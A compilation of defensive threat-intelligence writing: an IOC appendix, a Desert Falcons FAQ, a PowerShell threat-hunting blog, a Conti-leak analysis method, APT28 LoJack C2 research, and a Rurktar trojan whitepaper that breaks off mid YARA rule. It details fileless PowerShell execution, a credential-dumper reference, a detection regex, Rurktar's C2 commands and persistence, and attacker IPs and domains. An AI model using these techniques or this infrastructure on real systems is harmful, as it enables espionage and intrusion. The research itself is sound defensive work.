| IP Address | 154.85.34.19 | Resolution for malicious hostname |
| Hostname | 154.85.35.1 | Resolution for malicious hostname |
## Appendix B - INSOMNIA Implant Hashes
| SHA256 | Description |
|----------------------------------------------------------------------------------------|-------------------------------------------------------|
| c9320a9dc97adbe96c088d3f5ddf3f9275124137f0bf200fdd7160f47c5dcf1a | Executed as /tmp/updateserver with C2 at 154.85.32.52:43223 |
| a8dd8caaeb43d693ececf096bc6fe6c7cbf1ce513cfe33de4224c5c30661a4e3 | Executed as /tmp/updateserver with C2 at 154.85.32.52:43773 |
| 20827a607bacca9119b6fa471b37d6c751664900e68e50e28b734353c36f0d0c | Executed as /tmp/updateserver with C2 at 154.85.37.250:43111 |
| c8961483c7197aa0f352b2fd007412e88723fd5af4f64788aa1ce48a0999bd38 | Executed as /tmp/updateserver with C2 at 154.85.32.52:43773 |
| 9518c66b9b568c0f00f9540b961a40529e38c0d723bd800a9c33a043e6b746f6 | Executed as /tmp/updateserver with C2 at 154.85.32.52:43773 |
## Appendix C - Embedded Certificate
- Serial Number: 1111444412586956902 (0xf6ca4cdf7d69866)
- Signature Algorithm: sha256WithRSAEncryption
- Issuer: C=US, O=xLq, OU=www.xzXW.com, CN=XdM Root CA
- Validity
- Not Before: Dec 24 22:03:30 2019 GMT
- Not After: Dec 24 22:03:30 2039 GMT
- Subject: C=US, O=xLq, OU=www.xzXW.com, CN=XdM Root CA
- Serial Number: 2330826125403043443 (0x2058c20305d93673)
- Signature Algorithm: sha256WithRSAEncryption
- Issuer: C=US, O=SsT, OU=www.p83.com, CN=3fbW Root CA
- Validity
- Not Before: Jan 20 17:02:26 2020 GMT
- Not After: Jan 20 17:02:26 2040 GMT
- Subject: C=US, O=SsT, OU=www.p83.com, CN=3fbW Root CA
- Serial Number: 1152440617419100323 (0xffe4aa2b9ff50a3)
- Signature Algorithm: sha256WithRSAEncryption
- Issuer: C=US, O=CD6, OU=www.bUjS0F.com, CN=i4v Root CA
- Validity
- Not Before: Feb 2 19:44:45 2020 GMT
- Not After: Feb 2 19:44:45 2040 GMT
- Subject: C=US, O=CD6, OU=www.bUjS0F.com, CN=i4v Root CA
- Serial Number: 2340440485700108803 (0x207aea38b8190203)
- Signature Algorithm: sha256WithRSAEncryption
- Issuer: C=US, O=sCO, OU=www.w2j082Q.com, CN=4VNf Root CA
- Validity
- Not Before: Mar 13 17:29:21 2020 GMT
- Not After: Mar 13 17:29:21 2040 GMT
- Subject: C=US, O=sCO, OU=www.w2j082Q.com, CN=4VNf Root CA |
# The Desert Falcons Targeted Attacks
**Authors**
Ghareeb Saad
Mohamad Amin Hasbini
The Desert Falcons are a new group of Cyber Mercenaries operating in the Middle East and carrying out Cyber Espionage across that region. The group uses an arsenal of homemade malware tools and techniques to execute and conceal its campaigns on PC and Mobile OS.
#FalconsAPT is the 1st known campaign to be fully developed by Arabic #hackers to target the Middle East #TheSAS2015
The first Desert Falcons operations were seen in 2011 and the group made its first infections in 2013. By the end of 2014 and beginning of 2015, the group was very active.
## FAQ
**Where are the Victims Located?**
There are more than 3,000 victims in 50+ countries. Most of them are found in Palestine, Egypt, Israel, and Jordan, but others have been discovered in Saudi Arabia, the UAE, the US, South Korea, Morocco, Qatar, and others.
**Who are the Victims?**
The attacks targeted several classes of victim, including Military and Government organizations, employees responsible for health organizations, combating money laundering, economic and financial institutions, leading media entities, research and educational institutions, energy and utilities providers, activists and political leaders, physical security companies, and other targets that have access to important geopolitical information.
**How are the victims infected?**
Malware writers use a variety of technical and social engineering methods to deliver their files and encourage victims to run them, creating an effective infection vector. Examples include a fake website that promises to publish censored political information and asks users to download a plugin to view a video (the plugin contains the malware). Another example involves the use of spear phishing emails or social network messages to deliver malicious files using an extension override (e.g., malicious files ending with .fdp.scr would appear .rcs.pdf).
**What are the goals of the operations?**
The attackers are looking for sensitive intelligence information that could help them in further operations or even extortion. The victims are targeted for the secrets in their possession or intelligence information relating to their positions in governments or important organizations. More than 1 million files were stolen from victims. Stolen files include diplomatic communications from embassies, military plans and documents, financial documents, VIP and Media contact lists, and files.
**Who are the attackers and what do we know about them?**
The Desert Falcons operators are native Arabic speakers. There are about 30 of them working in three teams. Some of their identities are already known. The attackers are running three campaigns to target different types of victim.
**Where are the attackers based?**
The attackers are based in Palestine, Egypt, and Turkey.
**Which malware do they use to infect their victims?**
There are three main backdoors used to infect victim devices:
- **Computer backdoors**
- The Main Falcons Trojan
- The DHS* Spyware Trojan
Computer Backdoors give the attackers full scope to use keyloggers and screenshotters, access files, and even make audio recordings. DHS naming is used by the attackers to describe the nickname initials of one of the developers (D** H*** Spyware).
- **Mobile Backdoor**
- A mobile backdoor targeting Android devices.
Mobile Backdoors give attackers access to Call and SMS logs.
**How did you become aware of this threat? Who reported it?**
We became aware of the threat during an incident investigation in the Middle East.
**Is it still active?**
The operation is very active and is currently in peak condition. We are continuously identifying new samples and victims for all related campaigns.
**How is this different from any other Cyber espionage attacks?**
Desert Falcons are the first known Cyber espionage attacks to be fully developed and operated by Arabic speakers to target the Middle East. It has affected a stunning range of victims, stealing more than 1 million special files.
**Is this a nation-state sponsored attack?**
The profiles of the targeted victims and the apparent political motives behind the attacks make it possible that Desert Falcons operations could be nation-state sponsored. At present, though, this cannot be confirmed.
**Why this name?**
The falcon is a rare bird that has been highly prized for centuries in desert countries in the Arab world. It is a symbol of hunting and sharp vision. The Desert Falcons are proficient cyberhunters with carefully chosen targets, all of whom are thoroughly investigated before the attack and closely watched after being infected.
**How can users protect themselves?**
Kaspersky Lab products detect and block all variants of the malware used in this campaign:
- Trojan.Win32.DesertFalcons
- Trojan-Spy.Win32.Agent.cncc
- Trojan-Spy.Win32.Agent.ctcr
- Trojan-Spy.Win32.Agent.ctcv
- Trojan-Spy.Win32.Agent.ctcx
- Trojan-Spy.Win32.Agent.cree
- Trojan-Spy.Win32.Agent.ctbz
- Trojan-Spy.Win32.Agent.comn
- Trojan.Win32.Bazon.a |
# Threat Hunting for Malicious PowerShell Usage in Gigasheet
**Syed Hasan**
**March 3, 2022**
**6 min read**
PowerShell exploitation has become one of the most lucrative attack vectors for threat actors. In this blog, we’ll uncover some of the most common ways to hunt for malicious PowerShell. Let’s get to operationalizing these threat hunts!
## PowerShell: A Threat Actors’ Favorite
Ever wonder why PowerShell is the go-to tool for threat actors after they gain initial access? PowerShell is a Microsoft-developed, cross-platform utility, most extensively deployed on Windows endpoints and servers. It is often the default choice used to automate tedious tasks, configurations, and interfacing with the Windows operating system. As such, you can imagine how deeply rooted and pervasive it is on the machine.
With its own scripting language, command-line shell, and ability to hide in plain sight, PowerShell in the wrong hands leads to very destructive outcomes, as does happen today. PowerShell is a favorite amongst several threat actors, the likes of which include HAFNIUM, APT38, APT33, Bazar, and others.
## Hunting PowerShell: Where are the Payloads?
Let’s kick off the juicy part of the blog. I’ve got several hunt use-cases which can easily be operationalized to detect PowerShell baddies in a Windows-based infrastructure. Before we discuss the hunts, let’s quickly ingest our logs to Gigasheet.
### Uploading PowerShell Logs to Gigasheet
If enhanced logging is enabled on Windows-based systems, PowerShell logs events in three log channels:
- Windows PowerShell
- Microsoft-Windows-PowerShell Operational
- Microsoft-Windows-PowerShell Admin
You can fetch these log files from the folder: `C:\Windows\System32\winevt\Logs\`. Gigasheet can easily handle native evtx (event) log files. Simply log in, head over to the Your Files page, and click on Upload. Drag and drop your log files, however large they are, and let Gigasheet crunch the data for you.
**Fun Fact:** Gigasheet can handle up to a billion rows without breaking a sweat. Care to challenge us? Go ahead!
### PowerShell Downgrade Attacks
Isn’t PowerShell a great tool for offensive operations? Well, it does a great job at logging each operation as well. But there’s a little catch; these security features need to be enabled and are only available in versions above 5. As such, threat actors love to downgrade PowerShell and take a toll on the system by subverting all defenses.
But could we really not detect PowerShell if it was downgraded? Well, we can. Yes, the script-block logging and transcription are not going to work anymore, but the default Windows PowerShell channel still logs a bit of information for us to detect suspicious activity.
We’re particularly interested in the EngineVersion field which logs the PS engine used to execute the command from the user. A value of 2 (or below 5) is of interest as it can indicate execution using a downgrade.
Double-click the recently uploaded PowerShell log file and let’s start by filtering for the value: `EngineVersion=2`. Whew, out of ~17 thousand rows, we get just 33 results. That’s excellent noise reduction. But the problem is this version of PowerShell doesn't log anything beyond the engine version. So what can we do here?
Well, you could pivot from the Windows PowerShell log channel to the Security log channel. Execution of PowerShell, regardless of the version, is likely going to log an event if you’ve got process command-line logging enabled. Simply fetch the date and time, ingest Security logs into Gigasheet, and run a comparison against time.
Here’s an example search against time. See how the `-version 2` flag is used to downgrade PowerShell and later, the `ls` command is executed to list the directory.
**Note:** If you’re having trouble taking note of the fields’ long name, simply rename them to something meaningful. Gigasheet allows you to take full control of your data once you’ve uploaded it!
### Obfuscated Commands
PowerShell has in-built support for encoding and compressing data. Obfuscation of this kind can greatly help attackers deliver payload across the network without ringing alarm bells. However, scripting languages like PowerShell make it just as easy to detect these commands!
Let’s start off easy. Look for the `-EncodedCommand` parameter or variations of it to detect any base-64 encoded commands. Mind you, there are hundreds of variations which you can use to hunt for this very parameter. Here’s a handy regular expression from the fellows at Unit42:
```
\-[Ee^]{1,2}[NnCcOoDdEeMmAa^]+ [A-Za-z0-9+/=]{5,}
```
We can search for these commands by using the Search in Files feature in Gigasheet. Alternatively, we can filter on the same using the contains operator. As a result of our filters, we get just 50 rows to analyze. On the right, you can see an open row with an encoded command as part of the PowerShell process. It decodes to `whoami`, which is a common command used for reconnaissance.
Though there’s one other way you can detect encoded commands in Gigasheet! Simply use the Character Count feature and sort the rows by size to see what rows rank the highest. Outliers are where you’re likely going to see encoded commands since they’re abnormally longer in length.
Notice the length of the EventData field. Let’s run a few aggregations against the column now. We’ll start off by grouping the data against the EventID field. You can do so by right-clicking on the column and pressing Group.
How about a quick minimum and maximum aggregation on the length column from the Character Count function? Group the data using a field - I’ll be using the EventID field. Once done, click the arrow by the Length field to select your desired aggregation. I’ll be choosing the min and max aggregations for a quick comparison.
See how the minimum value is close to ~300. Yet the maximum values touch ~2700. Clearly, there are outliers which we might want to investigate.
Open up an event ID of your interest (say 400), and let’s sort the EventData (Length) field in descending order. See how the text field is filled with lots of junk data. Reading the entire command, we can see it has the `-e` flag to execute encoded commands. Other malware samples might also include the `GZipStream` or `MemoryStream` calls for in-memory execution or compressed streams of data.
We can also continue our analysis by decoding this data using a tool like Cyberchef. There’s the payload in plain-text. Follow-up to this would be analyzing the decoded PowerShell payload, extracting IoCs, and taking action.
### Fileless Malware
PowerShell is also preferred by threat actors for its ability to execute binaries (called assemblies in PS) in-memory. Leaving no trace on disk, the only artifacts left behind are logs - which if disabled can render a visibility gap for forensic analysts.
Invocation of functions like `Invoke-Expression` and `System.Reflection.Assembly (Load)` are good indicators of in-memory execution. Apart from function calls, we can also look for web requests to retrieve resources which might later be piped into the calls we previously discussed. GitHub hosts one of the largest corpus of red-team scripts which are also utilized by threat groups to compromise systems. As such, we can also use requests to `*.githubusercontent.com` as an indicator of suspicious activity.
Let’s use this information to supercharge our PowerShell hunt. Filtering on `githubusercontent`, we get just ~400 events. That’s a bit noisy but there’s a great chance they’re all suspicious. It’d be even more intriguing to see these logs if your organization blocked traffic to GitHub yet this log popped up. Although the execution would’ve likely failed, you’re still witnessing a log from an ongoing compromise.
For instance, this log shows a reference to `Invoke-Mimikatz`, which is the PowerShell-equivalent module of the notorious credential dumper, Mimikatz. Successful execution could mean your credentials have been compromised and need to be changed immediately.
But, hey, where’s this actually executed? This log doesn’t show execution. Here’s another log which shows how the download is enclosed within an `Invoke-Expression` call to execute the retrieved code directly into memory - leaving no file on the disk.
You can proceed with your analysis by looking for the ScriptBlock in the PowerShell Operational log source (if you had the configuration enabled). It logs the entire downloaded and executed script. However, if a downgrade attack was performed in conjunction, you’re likely going to be stuck with the command only.
Here’s the log for the `Invoke-Mimikatz` call which has over 139 ScriptBlock events in total.
## What’s Next?
I’ve just covered hunting strategies against some of the most commonly used attack techniques by threat actors. PowerShell isn’t going away any sooner. It’s better this way that hunters and defenders work on sound strategies to hunt for these threats proactively.
That’s it for this article - but you can continue your threat hunts on Gigasheet for free! |
# Analyzing Conti-Leaks Without Speaking Russian — Only Methodology
If you’re like me and you don’t speak Russian, and you have a Conti leak to analyze, here are some tricks for you.
**Disclaimer:** I will not do an in-depth analysis of the files here. It’s just a blog post to show methodology in such cases. The audience for this blog post can be students or people interested in CTI without a big budget. This is NOT an analysis of Conti-leaks. This is NOT a TODO list in every case. It’s my methodology for JSON files.
## First Look at the Files
When you look at the files first, they appear to be in JSON. Awesome, we love JSON; it’s very easy to use.
You have several ways to load the file into Python, and I’ll show you two different methods.
### First Method: Transform the Files and Load via JSON Libraries
To make one file:
```
cat *.json > big.json
```
To remove the first newline:
```
sed -i -e ':a;N;$!ba;s/{\n/{/g' big.json
```
To remove the newline after the comma:
```
sed -i -e ':a;N;$!ba;s/,\n/,/g' big.json
```
To remove the newline before the quote:
```
sed -i -e ':a;N;$!ba;s/\"\n/\"/g' big.json
```
Your file should now look like this.
But you know, there is a WAY simpler trick if you use `jq`:
```
cat *.json | jq -cr > big.json
```
It will make a one-line for each JSON line it can read.
Now that I have a clean file, what I want to do is to load every line in a list of dictionaries in Python (and print it for the example).
```python
import json
chatList = []
with open('onebig.json') as f:
for jsonObj in f:
_Dict = json.loads(jsonObj)
chatList.append(_Dict)
for line in chatList:
print(line['body']) # print each body
```
### Translation via Python
I use a free library called `deep-translator` (to install it: `pip install -U deep-translator`).
What I will do is to use the library on the “body” key in the JSON file for each line and translate it into English into a new key “LANG-EN”. If there is a failure, I want the message to be “Error during Translation”. Finally, I want to print the result of the line as a JSON line.
```python
import json
from deep_translator import GoogleTranslator
chatList = []
with open('onebig.json') as f:
for jsonObj in f:
_Dict = json.loads(jsonObj)
chatList.append(_Dict)
for line in chatList:
try:
translation = GoogleTranslator(source='auto', target='en').translate(line["body"])
line["LANG-EN"] = translation
except Exception as e:
line["LANG-EN"] = "Error during Translation"
print(json.dumps(line, ensure_ascii=False).encode('utf8').decode())
```
As you can see, I had to use `ensure_ascii=False` and `encode('utf-8')` because I still want to print Russian characters.
### Second Method: Load via Pandas
I will transform the first `big.json` file a little bit to make it like one big JSON file.
To do it, I’ll put every JSON line into a JSON tab:
```
sed -i -e ':a;N;$!ba;s/}/},/g' big.json
```
Then I add this character `[` at the beginning of the file and this character `]` at the end of the file.
Now, I can load it into a Pandas DataFrame very easily!
```python
import pandas as pd
df = pd.read_json('big.json') # Yes, it's that easy
```
### Why Use Pandas DataFrame?
Well, we can sort it by dates very easily and transform it into CSV to export to use with other tools that do not deal with JSON easily.
```python
import pandas as pd
df = pd.read_json('big.json')
sorted_df = df.sort_values(by="ts")
sorted_df.to_csv('onebig.csv', doublequote=True, quoting=1, escapechar="\\")
```
This code above will create a file called “onebig.csv” sorted by dates.
## Visualizations: With Gephi
Gephi is an Open Graph Viz Platform. You can use Gephi and a Yifan Hu spatialization to see the interactions between people by applying a ponderation on links. The bigger the arrow, the bigger the weight of the link. It means those at each side of the arrow are two people that are often talking together.
We can easily identify people of interest using Gephi with this methodology. You may want to have a graphic card to use it, as it’s very power consumptive.
## Visualizations: With Elasticsearch and Kibana
With a very simple configuration, you can load your data into an Elasticsearch/Kibana cluster and read things, request it, etc.
```plaintext
# content of /etc/logstash/conf.d/00-leak-analysis.conf
input {
file {
path => "/myfolder/leak/*.json"
type => "leak"
start_position => "beginning"
}
}
filter {
if [type] == "leak" {
json {
source => message
}
}
}
output {
if [type] == "leak" {
elasticsearch {
hosts => ["localhost:9200"]
index => "leak-%{+yyyy-MM-dd}"
}
}
}
```
Then, while using Kibana, you can sort by users or search for specific things.
## To Go Further
Maybe you want to extract quickly the URLs contained in the `big.json` file?
Quick hint: use regex via `egrep`:
```
egrep '(http|https):\/\/[a-zA-Z0-9.\/?=_%&:-]*' -o big.json > url_output.txt
```
And there you are. Oh, and you can use `defang` (Python tool) on your file to read it safely!
To install `defang`:
```
pip install defang
```
Then run:
```
defang -i url_output.txt -o url_output_defanged.txt
```
It’s now your turn to be imaginative to read things inside this leak. Have fun! |
# APT28 Rollercoaster: The Lowdown on Hijacked LoJack
Recently, the ASERT team at Arbor Networks published a report on an old version of the Absolute Software product, Absolute LoJack for laptops, being illicitly modified by suspected APT28 actors. The LoJack implant, previously known as Computrace and brought into the spotlight in 2014 at Black Hat USA because it was enabled on some brand new laptops, is an anti-theft technology used in modern laptops to allow remote tracing, data deletion, and system lockdown.
Based on information from a number of reports, ASERT estimates with moderate confidence that the APT28 group, also known as Fancy Bear, has maliciously modified and deployed Absolute LoJack samples to support its own campaigns against government and defense-related contractors. As sophisticated implants often reveal non-trivial dynamic behaviors, we began an investigation process to analyze this threat in more detail.
## A New Sample
From the IOCs in the ASERT report, we hunted through our knowledge base for additional samples using the search query below:
`code_hash: '21B04C7DF33277B9927D0D3E3ADC545D' AND user_agent: 'Mozilla/4.0 (compatible; MSIE 6.0;)' AND NOT domain: 'search.namequery.com'`
The code hash search term allowed us to query for all LoJack implants. We filtered on user agent while removing the resolved domain used by all legitimate implants. The search uncovered a new and previously unmentioned sample:
- **SHA1:** 09d2e2c26247a4a908952fee36b56b360561984f
- **Compilation time:** 2008-04-01 19:35:07
- **C&C server:** webstp[.]com
This new sample was detected for the first time in the second half of 2017. The sample relies on a previously unknown C&C server: the webstp[.]com domain originally resolved to the IP address 185.94.191[.]65, but was later sinkholed at sinkhole.tigersecurity.pro via 91.134.203[.]113 and later 54.36.134[.]247.
## The Fallback Revelation
During our investigation, we decided to verify whether we could detect other hijacked LoJack samples being used in the wild. As the traffic from hijacked agents is otherwise indistinguishable from legitimate agents, we deployed a network signature to monitor HTTP traffic with the same distinct User-Agent header, but connecting to other (non-legitimate) domains. Unfortunately, this approach quickly proved to be prone to false positives; in particular, in a small number of legitimate LoJack interactions, the contacted host of the HTTP request was a plain IP address instead of a domain name.
The fact that a legitimate sample was including this fallback mechanism led us to wonder whether the malicious binary was doing the same. It turns out Computrace samples embed both a XORed IP address as well as a XORed domain. The XORed IP address is used as a backup communication channel when domain callout fails.
We also checked all other hijacked LoJack implants, and in all cases, the binary included a fallback IP, meaning that in all cases the implant would have been able to connect to the C&C regardless of whether the domain had been sinkholed or blacklisted. Only in two cases, the fallback IP address did not match the address pointed to by the domain.
| Sample SHA1 | Domain | Original resolving IP | Fallback IP |
|-------------|--------|----------------------|-------------|
| 1470995de2278ae79646d524e7c311dad29aee17 | sysanalyticweb[.]com | 54.37.104[.]106 | 93.113.131[.]103 |
| 10d571d66d3ab7b9ddf6a850cb9b8e38b07623c0 | sysanalyticweb[.]com | 54.37.104[.]106 | 93.113.131[.]103 |
| 397d97e278110a48bd2cb11bb5632b99a9100dbd | elaxo[.]org | 86.106.131[.]54 | 86.106.131[.]54 |
| ddaa06a4021baf980a08caea899f2904609410b9 | ikmtrust[.]com | 185.144.82[.]239 | 185.144.82[.]239 |
| 2529f6eda28d54490119d2123d22da56783c704f | lxwo[.]org | 185.86.149[.]54 | 185.86.149[.]54 |
| 09d2e2c26247a4a908952fee36b56b360561984f | webstp[.]com | 185.94.191[.]65 | 185.94.191[.]65 |
## Attribution
We can assert with high confidence that this specific hijacked Absolute LoJack for laptops sample appears to be related to the campaign recently unveiled by Arbor Networks. Our reasoning follows:
- The domain webstp[.]com is associated with an Absolute LoJack agent utilizing the exact same compile time of other hijacked LoJack samples, thus matching the same criteria used to cluster the original artifacts.
- The domain sysanalyticweb[.]com and webstp[.]com share the same registrar, ititch[.]com, a company claiming to provide bulletproof hosting, and used in other APT28 campaigns.
- The domain in the registrant email address for webstp[.]com is centrum[.]cz, which appears frequently in other registrant email addresses of domains linked to previous APT28 campaigns associated with ititch[.]com.
- The Absolute LoJack for laptops agent connecting to webstp[.]com has been seen in the wild during the same time frame of all other samples.
## Conclusions
In this blog post, we further analyzed the C&C infrastructure used by the samples of Absolute LoJack for laptops illicitly modified by APT28. We unveiled a new sample submitted from organizations with a consistent victimology to other LoJack targets and domains that are part of the C&C infrastructure. We also discovered that all Absolute LoJack for laptops samples had a fallback mechanism to increase their robustness against sinkholes. This infrastructure used in our new sample is linked to pro-European Union companies and/or ex-Soviet Union states. We will continue to publish new IOCs in this blog for the LoJack campaign as future submissions appear. |
# G Data Whitepaper: Analysis of Rurktar
## Rurktar
### 1. Introduction
There is a new malware called Rurktar. It’s a trojan spy which is installed as a service called RCSU. The service connects back to the attacker machine and waits for commands. The file size of the malware is mostly around ~50Kb. Currently, the trojan spy is still in development and is not spotted in-the-wild yet. This could change once the trojan spy has fully developed.
### 2. General structure
The malware contains 7 namespaces with one or more classes inside.
- **Conn**: Core functionalities like connecting back to the attacker by using a list of multiple IPs and listening for commands.
- **Ini**: Used to read and write information from and to the .ini configuration file for the malware.
- **Prefs**: The default configuration settings of the malware are hardcoded here.
- **RCS**: With administrator privileges, the malware installs itself as a Windows service called RCSU. Inside is the main class, which gets executed first and calls all the other classes.
- **RCSUConn**: A helper class for the Conn namespace with a method to read incoming commands.
- **Trinet.Networking**: Used to enumerate local and remote network shares.
### 3. Debug path
When viewing the strings of the malware, the debug path becomes visible and reveals some interesting information like the username “Alex” and that the user stores the malware in his Dropbox folder.
Full debug path: `c:\Users\Alex\Dropbox\Projects\RCS\RCSU\obj\Release\RCSU.pdb`
### 4. Configuration
The configuration file `C:\WINDOWS\system32\R_C_S.ini` is loaded and stored into the attribute this.prefs if the file `C:\WINDOWS\system32\RCS.ini` doesn’t exist. If `C:\WINDOWS\system32\RCS.ini` does exist, it will read the configuration details and store them into this.prefs. After that, Rurktar deletes the RCS.ini file.
**Configuration Functionality**
- **Debug**: If enabled, a logfile `RCS.log` gets written to the hard drive.
- **Port**: The port which the malware connects to.
- **IP**: The IP which the malware connects to.
- **FriendlyID**: Default return value used if no UUID could be enumerated.
- **CaptureMode**: Not implemented yet.
- **CaptureStart**: Not implemented yet.
- **CaptureMonikerString**: Not implemented yet.
- **ACaptureMonikerString**: Not implemented yet.
- **VideoCap**: Not implemented yet.
- **SkipFrames**: Not implemented yet.
- **SkipDetectionFrames**: Not implemented yet.
- **SkipTakeFrames**: Not implemented yet.
- **DetectionPreBuffer**: Not implemented yet.
- **NetworkImageQ**: Sets the quality of the delivered image.
- **CaptureDirectory**: Checks whether a directory exists or not.
- **DefPass**: Not implemented yet.
- **CaptureStopProcess1**: Not implemented yet.
- **CaptureStopProcess2**: Not implemented yet.
- **DetectPorog**: Not implemented yet.
- **MaxCaptureFrames**: Not implemented yet.
- **WatchFiles**: Not implemented yet.
- **AutoSendPreviews**: Not implemented yet.
- **SendOriginPreviews**: Not implemented yet.
- **CopyOriginsToCaptureDir**: Not implemented yet.
- **ControlExt**: Not implemented yet.
- **MaxCaptureFolderSize**: Not implemented yet.
- **WatchProc**: Not implemented yet.
- **ScreenshotAutoCapture**: Not implemented yet.
- **ScreenshotAutoStartProcess**: Not implemented yet.
- **ScreenshotExt**: Sets the extension type for all screenshots.
- **ScreenshotPause**: Not implemented yet.
- **ProxyEnabled**: Not implemented yet.
### 5. Persistence
The malware installs a new service called RCSU instead of placing a registry key into `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. This service will be started on a reboot just like any other service.
### 6. Commands
Below is a list of all possible commands the attacker might use to execute actions at the victim computer.
| Command | Functionality |
|-----------|---------------|
| Shares | Enumerates IPv4/IPv6 address, subnets, and the default gateway. |
| Share | Enumerates all network shares available on the system. |
| Find | Enumerates files with the handover parameters directory, recursive search, file type, and file size. |
| User | Enumerates Username, UserDomainName, MachineName, and OSVersion. |
| Ping | Determines whether a computer is accessible. |
| Prefs | Gets the current preferences the malware is actively using. |
| Type | Not implemented. |
| Receive | Saves a file to the disk. |
| id | Enumerates the UUID. |
| Ls | Lists hard disks and information about them. |
| Get | Saves a large file to disk. |
| Getfolder | Not implemented. |
| Setparam | Sets a specific parameter to the configuration. |
| Cmd | Executes a command via the command prompt. |
| Proc | Lists current running processes on the computer. |
| Kill | Terminates a running process by ID. |
| Killname | Terminates a running process by name. |
| Lsdev | Returns the DeviceName. |
| Screenshot | Makes a screenshot from the current screen. |
| Preview | Creates a preview image (500x500) of the current screen. |
| Delete | Deletes a file. |
| Delfolder | Deletes a folder. |
### 7. Communication
Below is a table of the communication format from the commands.
| Command | Server/Client communication |
|---------|-----------------------------|
| Shares | Returns Mac address, IPAddr, IPv6addr, IPSubnet, IPSubnet mask, DefaultIPGateway, DNSServerSearchOrder as String. |
| Share | Returns the error message “Share Cant resolve”. |
| Find | Returns “find Cant find” + error message if the file is not found. |
| User | Returns user?user*USERNAME*DOMAIN*USERINTERACTIVE*MACHINENAME*OSVERSION. |
| Ping | Returns “ping Ping start error” if the command fails and “ping PingStarted” if the command was successful. |
| Prefs | Should return the preferences, returns nothing at all instead. |
| Type | Returns “type?type*abstract”. |
| Receive | Server: sends “file fileiwanttohave.txt”. Client: returns “recieveCannot save file” if there was an error. Returns “recieve FILE SAVED” + FILENAME if it was successful. |
| id | Server: sends “id”. Client: returns “id?id*” + UUID + “?FriendlyID*” + Prefs.FriendlyID. |
| Ls | Server: sends “ls;root”. Client: returns “ls;root?disc*” + LABEL + “*” + DRIVEFORMAT + “*” + AVAILABLEFREESPACE + “*” + TOTALFREESPACE + “*” + TOTALSIZE + “?disc… If it was successful. If there is an error “ls;root Cannot read drives” + ERRORMESSAGE is shown. |
| Get | Server: sends “get;” + FILENAME. Client: returns “get;” + FILENAME + “Cannot read file” if the file wasn’t found. Client: sends the file if it was found. |
| Getfolder | Server: sends “getfolder”. Client: returns “getfolderCannot read file” (Method not implemented). |
| Setparam | Server: sends “setparam”. Client: sends “setparamCannot set param”. Server: sends “setparam;Debug;true”. Client: sends “setparam;Debug;true OK”. |
| Cmd | Server: sends “cmd”. Client: sends “cmdCannot start cmd”. Server: sends “cmd;calc.exe”. Client: sends “cmd?cmd*out cmd?cmd*err cmd;calc.exe Ok”. |
| Proc | Server: sends “proc”. Client: sends “proc?proc*” + PROCESSNAME + “*” + PROCESSID + “?proc…. |
| Kill | Server: sends “kill;” + PID. Client: sends “kill;” + PID + PROCESSNAME + “ killed”. Server: sends “kill;”. Client: sends “killCannot get list of processes”. |
| Killname | Server: sends “killname;” + PROCESSNAME. Client: sends “killname;” + PROCESSNAME + PROCESSNAME + “ killed”. Server: sends “killname;”. Client: sends “killname; process not found”. |
| Lsdev | Enumerates the DeviceName. |
| Screenshot | Makes a screenshot from the current screen. |
| Preview | Creates a preview image (500x500) of the current screen. |
| Delete | Server: sends “delete;” + FILENAME. Client: sends “delete;” + FILENAME + “DELETED”. Server: sends “delete;”. Client: sends “delete; Cannot delete”. |
| Delfolder | Server: sends “delfolder;”. Client: sends “delfolder; Cannot delete”. Server: sends “delfolder;” + FOLDERNAME. Client: sends “delfolder;” + FOLDERNAME + “ DELETED”. |
### 8. Evolution of Rurktar
The first submission of Rurktar was on 2017-02-13 20:36:11, while the first submission of Rurktar was on 2017-06-11 19:12:52 UTC. Both samples were submitted on VirusTotal. When decompiling the projects with Dnspy and comparing the two project structures with WinMerge, it becomes clear that parts of the code were changed. The older submission had 3 useless commands (fuu, fu2, fu3) which were a copy of the “delfolder” command. Those cases were taken out of the switch-case statement, as well as their functionality.
### Snow
The malicious application called Snow is a wrapper to the Rurktar malware. It checks if the current user has admin privileges or not. Then it stores the Rurktar malware on the disk and uses a persistence technique, so that it will get started when the computer is rebooted in the future.
### 9. Evolution of Rurktar within Snow
Snow has stored Rurktar in its resources. When grabbing Rurktar from Snow, it becomes clear that the Rurktar malware has further developed. An additional case “fuck” has been added. The main difference of Case 25 (fuck) and the “delfolder” command are the error messages – the functionality stays the same.
### 10. Getting administrator privileges
Snow.exe checks if the current application is run with administration privileges. If it is, it will execute the main part of dropping Rurktar. Otherwise, it will try to execute a new process of itself which is asking the user to execute the application as admin.
### 11. Persistence
At first, Snow checks whether the registry key `SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5` exists. If it doesn’t, the directory string is set to `C:\Windows\Microsoft.NET\Framework\v3.5\`. If the key does exist, the “InstallPath” value from the `SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5` key gets used as an installation directory for the malware. In both cases, the string “RCS\\” will get appended to the directory string. Depending on the previous directory string, Snow will now either use the “InstallPath” value + “RCS\\” as directory or use `C:\Windows\Microsoft.NET\Framework\v3.5\RCS` for further actions.
**Case 1 (folder exists)**:
`net.exe` gets started with the arguments “stop rcsu” to stop the current rcsu service. If `net.exe` has finished, `sc.exe` gets started with the arguments “delete rcsu” to delete the service. If `sc.exe` has finished, the file RCSU.exe and iu.exe (InstallUtil) in the folder are getting deleted. After the cleanup phase, the new RCSU.exe and iu.exe are written from the Snow file resources to the folder. Once this process has finished, iu.exe installs RCSU.exe as a service and `net.exe` gets executed with the parameters “start rcsu” to run the service.
**Case 2 (folder doesn’t exist)**:
The folder will be created and RCSU.exe and iu.exe will be read from the resources and written to the folder. Then, the same procedure as above will get executed.
### 12. Conclusion
The Rurktar malware is yet not found that often, but has the potential to be more popular in the coming months because of the options an attacker has with this malware. Most of the attacker IPs come from Russia since the malware seems to be developed by a Russian, as the exception messages within the malware are mostly in Russian. However, people in other countries can also get the malware, so more diversity in attacker countries IPs will be seen.
### 13. Additional YARA rule for Rurktar
```yara
rule Rurktar {
meta:
author = "Nathan Stern"
description = "Rurktar detection rule"
strings:
$a = "FriendlyID" wide ascii nocase
$a2 = "CaptureMode" wide ascii nocase
$a3 = "CaptureStart" wide ascii nocase
$a4 = "CaptureMonikerString" wide ascii nocase
$a5 = "ACaptureMonikerString" wide ascii nocase
$a6 = "VideoCap" wide ascii nocase
$a7 = "SkipFrames" wide ascii nocase
$a8 = "SkipDetectionFrames" wide ascii nocase
$a9 = "SkipTakeFrames" wide ascii nocase
